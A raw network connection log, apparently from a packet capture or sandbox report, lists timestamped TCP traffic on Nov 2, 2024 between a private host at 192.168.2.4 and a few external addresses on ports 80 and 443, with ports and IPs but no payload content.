Nov 2, 2024 07:16:21.435949087 CET	63864	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.435947895 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.435952902 CET	443	63864	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.435990095 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.435990095 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.435996056 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.436007977 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.436019897 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.436048985 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.436078072 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.436835051 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.436934948 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.437001944 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.437658072 CET	443	63866	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.437681913 CET	443	63866	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.437714100 CET	443	63866	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.437727928 CET	63866	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.437757015 CET	63866	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.438606977 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.438651085 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.444953918 CET	63869	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.445009947 CET	443	63869	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.445095062 CET	63869	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.445235968 CET	63869	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.445247889 CET	63866	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.445261002 CET	443	63866	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.445266962 CET	443	63869	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.448174000 CET	63870	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.448215008 CET	443	63870	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.448280096 CET	63870	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.476303101 CET	63870	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.476337910 CET	443	63870	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.477740049 CET	63871	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.477776051 CET	443	63871	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.477843046 CET	63871	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.477979898 CET	63871	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.477998972 CET	443	63871	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.491014004 CET	443	63865	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.491080046 CET	443	63865	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.491156101 CET	63865	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.491465092 CET	63865	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.491497040 CET	443	63865	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.491522074 CET	63865	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.491554976 CET	443	63865	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.498147011 CET	63872	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.498169899 CET	443	63872	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.498229980 CET	63872	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.498369932 CET	63872	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:21.498383045 CET	443	63872	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:21.597019911 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.597079039 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.597147942 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.597160101 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.597171068 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.597182035 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.597199917 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.597229004 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.597274065 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.597331047 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.597415924 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.597426891 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.597440004 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.597450972 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.597462893 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.597472906 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.597480059 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.597484112 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.597496033 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.597506046 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.597507000 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.597507000 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.597517014 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.597526073 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.597529888 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.597543955 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.597543955 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.597567081 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.597615004 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.597989082 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.598000050 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.598010063 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.598040104 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.598067999 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.598123074 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.598139048 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.598151922 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.598167896 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.598198891 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.598198891 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.598226070 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.598237991 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.598253012 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.598263979 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.598268032 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.598273993 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.598294973 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.598294973 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.598319054 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.598663092 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.598674059 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.598684072 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.598702908 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.598715067 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.598726034 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.598726034 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.598738909 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.598756075 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.598756075 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.598789930 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.598798037 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.598809004 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.598820925 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.598831892 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.598841906 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.598855972 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.598860979 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.598860979 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.598892927 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.599658012 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.599705935 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.599706888 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.599719048 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.599755049 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.599775076 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.599777937 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.599818945 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.760122061 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.760134935 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.760145903 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.760206938 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.760257959 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.760471106 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.760529995 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.760540962 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.760584116 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.760607958 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.760616064 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.760627031 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.760637045 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.760651112 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.760664940 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.760688066 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.760708094 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.760720015 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.760730982 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.760741949 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.760751963 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.760756969 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.760771990 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.760780096 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.760785103 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.760796070 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.760806084 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.760806084 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.760807037 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.760818958 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.760828972 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.760855913 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.761281013 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.761291027 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.761301041 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.761316061 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.761332989 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.761334896 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.761343956 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.761354923 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.761364937 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.761373997 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.761373997 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.761379004 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.761389971 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.761400938 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.761400938 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.761414051 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.761425018 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.761441946 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.761464119 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.761810064 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.761820078 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.761836052 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.761846066 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.761857033 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.761868954 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.761881113 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.761914015 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.761940002 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.761950970 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.761960983 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.761971951 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.761984110 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.761995077 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.761995077 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.762007952 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.762018919 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.762021065 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.762021065 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.762031078 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.762043953 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.762048006 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.762068987 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.762096882 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.762757063 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.762768030 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.762778044 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.762795925 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.762809038 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.762810946 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.762844086 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.762844086 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.762861967 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.762872934 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.762881994 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.762892962 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.762909889 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.762913942 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.762921095 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.762934923 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.762940884 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.762954950 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.762969971 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.762988091 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.765496969 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.765547991 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.765661955 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.765705109 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.765721083 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.765754938 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.765783072 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.765855074 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.765866041 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.765876055 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.765887022 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.765898943 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.765908003 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.765916109 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.765928030 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.765928984 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.765939951 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.765944958 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.765950918 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.765964031 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.765966892 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.765975952 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.765985966 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.765995026 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.766001940 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.766014099 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.766015053 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.766025066 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.766031981 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.766066074 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.766066074 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.766257048 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.766350985 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.766381979 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.766401052 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.766423941 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.766439915 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.766450882 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.766490936 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.766535997 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.766546965 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.766597033 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.766628027 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.766638994 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.766649008 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.766659975 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.766681910 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.766710043 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.767265081 CET	443	63867	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:21.767328978 CET	443	63867	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:21.767359018 CET	443	63867	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:21.767374992 CET	63867	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:21.767389059 CET	443	63867	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:21.767827034 CET	443	63867	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:21.767868996 CET	63867	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:21.767878056 CET	443	63867	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:21.767915010 CET	63867	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:21.768155098 CET	443	63867	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:21.768219948 CET	443	63867	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:21.768263102 CET	63867	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:21.768270016 CET	443	63867	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:21.823577881 CET	63867	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:21.823585987 CET	443	63867	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:21.870441914 CET	63867	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:21.880842924 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.882211924 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.885813951 CET	443	63867	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:21.886003971 CET	443	63867	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:21.886034966 CET	443	63867	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:21.886076927 CET	63867	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:21.886086941 CET	443	63867	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:21.886101961 CET	443	63867	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:21.886145115 CET	63867	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:21.894905090 CET	63867	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:21.894925117 CET	443	63867	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:21.894933939 CET	63867	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:21.894939899 CET	443	63867	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:21.923805952 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.923820019 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.923836946 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.923847914 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.923858881 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.923868895 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.923870087 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.923887014 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.923897982 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.923898935 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.923897982 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.923909903 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.923928022 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.923930883 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.923930883 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.923940897 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.923949957 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.923953056 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.923965931 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.923975945 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.923978090 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.923990965 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.924000025 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.924000025 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.924005032 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.924017906 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.924017906 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.924029112 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.924040079 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.924057007 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.924074888 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.924088955 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.924102068 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.924113035 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.924129009 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.924141884 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.924143076 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.924141884 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.924153090 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.924161911 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:21.924174070 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:21.924180984 CET	63862	80	192.168.2.4	185.215.113.16
